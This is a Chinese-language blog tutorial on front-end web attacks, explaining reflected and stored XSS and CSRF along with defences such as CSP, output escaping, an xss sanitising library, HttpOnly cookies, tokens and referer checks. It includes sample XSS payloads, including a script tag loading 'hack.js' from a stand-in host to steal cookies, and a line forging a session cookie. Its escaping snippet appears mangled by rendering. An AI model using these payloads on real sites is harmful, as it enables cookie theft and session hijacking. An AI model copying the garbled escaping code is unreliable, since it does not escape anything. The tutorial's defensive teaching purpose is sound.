前端常见的Web攻击【XSS、CSRF】

1、XSS(Corss Site Scripting,跨站脚本攻击)

通过存在的安全漏洞的web网址用户的浏览器内运行非法的本站点的HTML标签或者JS的一种方式。换句话来说,就是在该页面内运行不是该页面的js或者html代码的一种攻击。


XSS的脚本攻击的影响:
1、利用虚假的表单信息骗取用户个人信息
2、利利⽤用脚本窃取⽤用户的Cookie值,被害者在不不知情的情况下,帮助攻击者发送恶意请求。
3、显示伪造的图片或者文章 

1、XSS攻击的分类

1、反射型:url参数直接注入


例子1:
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0=" 

2、存储型:存储到DB后读取注入


// 评论
<script>alert(1)</script>
// 跨站脚本注⼊入
我来了了<script src="http://localhost:4000/hack.js"></script> 

2、XSS攻击的危害[想干啥就干啥]

  • 1、获取页面数据

  • 2、获取Cookies

  • 3、劫取前端逻辑

  • 4、发送请求

  • 5、偷取网站的资料和用户的资料

  • 6、偷取用户的秘密和登录态

  • 7、欺骗用户

3、XSS攻击如何防范

1、CSP(Content Security Policy,安全攻击策略) 是一个附加的安全层。本质上就是建立白名单,开发者明确的告诉浏览器哪些外部资源可以加载和执行。开发者只需要配置规则,如何拦截就靠浏览器执行,可以通过这种方式减少XSS攻击。
  • ①Content-Security-Policy: default-src 'self':只允许加载本站资源* ②Content-Security-Policy: img-src https://* :只允许加载HTTPS协议图片* ③Content-Security-Policy: child-src 'none' :不允许加载任何来源框架 用法:在head中加入meta标签,<meta http-equiv="Content-Security-Policy" content="script-src 'self'"/>> 2、转义

  • 1、 黑名单:用户的输入有千千万万,可以对尖括号、斜杠、引号进行转义。str = str.replace(/&/g, '&')str = str.replace(/</g, '<')str = str.replace(/>/g, '>')str = str.replace(/"/g, '&quto;')str = str.replace(/'/g, '&#39;')str = str.replace(/`/g, '&#96;')str = str.replace(/\//g, '&#x2F;') 但是这里有一个问题,如果提交的是一个富文本的情况下,就不能用转义方法。虽然说可以采用上述黑名单的方式进行过滤,但是如果过滤的标签和属性太多的情况下,推荐使用白名单的方式。* 2、白名单:一般情况下会引入xss库const xss = require('xss')let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')console.log(html) //<h1>XSS Demo</h1><script>alert("xss");</script> 3、HttpOnly Cookie 这种方法是预防XSS攻击获取Cookie的最佳解决办法,Web程序在设置Cookie的时候,将其属性设置为HttpOnly就可以避免该⽹网⻚页的cookie被客户端恶意JavaScript窃取,保护⽤用户cookie信息。

2、CSRF(Cross Site Request Forgery,跨站请求伪造)

是一种常⻅见的Web攻击,它利利⽤用⽤用户已登录的身份,在⽤用户毫不不知情的情况下,以⽤用户的名义完成⾮非法操作。 这个攻击的前提是用户必须在攻击网站有登录数据。

1、如何避免CSRF攻击

  • 1、使用token:每次登录都需要上传token。* 2、隐藏令牌:类似cookie,但是可以隐藏在请求头中* 3、referer验证:判断页面来源,如果是安全的则执行,不安全则不执行

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

方班网络安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值